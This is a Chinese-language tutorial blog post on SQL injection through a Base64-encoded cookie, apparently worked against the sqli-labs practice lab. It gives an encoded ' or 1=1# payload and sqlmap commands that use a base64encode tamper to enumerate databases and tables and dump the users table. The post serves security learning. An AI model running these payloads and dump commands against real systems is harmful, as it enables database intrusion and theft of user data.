MySQL Cookie Base64注入

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL Cookie Base64注入相关的知识,希望对你有一定的参考价值。

mysql Cookie Base64注入

1.Base64介绍

Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

将原始内容转换为二进制,从左到右一次取6位,然后在最高位补两位0,形成新的内容。

编码规则:
(1)把3个字符变成4个字符。
(2)每76个字符加一个换行符。
(3)最后的结束符也要处理。

2.Cookie Base64注入代码分析

base64_decode(str):php语言中用于解密Base64加密字符串的函数。

3.Cookie Base64注入

使用Base64加密的注入语句,插入到cookie对应的位置完成SQL注入漏洞的探测
明文:' or 1=1#
密文:JyBvciAxPTE=

进行抓包

进行重放攻击

可以看到,cookie中的uname内容为base64编码,进行admin\\测试

可以看到回显的报错

后续操作,只需将我们要执行的SQL语句进行base64加密即可,这里就不在赘述。
若还有不懂的,请查看我的另外一篇博客
https://blog.csdn.net/m_de_g/article/details/121783580?spm=1001.2014.3001.5501

4.Sqlmap渗透测试

1.抓包复制其内容,并且在cookie的位置加上星号(*)

2.爆破数据库

python2 sqlmap.py -r "1.txt" --level 3 --batch


3.如果不加上参数的话会出现,报错

python2 sqlmap.py -r "1.txt" --level 3 --batch --tamper base64encode.py --dbs


4.爆破数据表

python2 sqlmap.py -r "1.txt" --level 3 --batch --tamper base64encode.py -D security --tables


5.获取字段名及内容

python2 sqlmap.py -r "1.txt" --level 3 --batch --tamper base64encode.py -D security -T users --dump

以上是关于MySQL Cookie Base64注入的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs less21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

sqli-labs(21)

PHP:base64_encode 是不是可以防止 mysql 注入?

cookie注入

Web安全原理剖析——Base64注入攻击

SQL注入实战-MySQL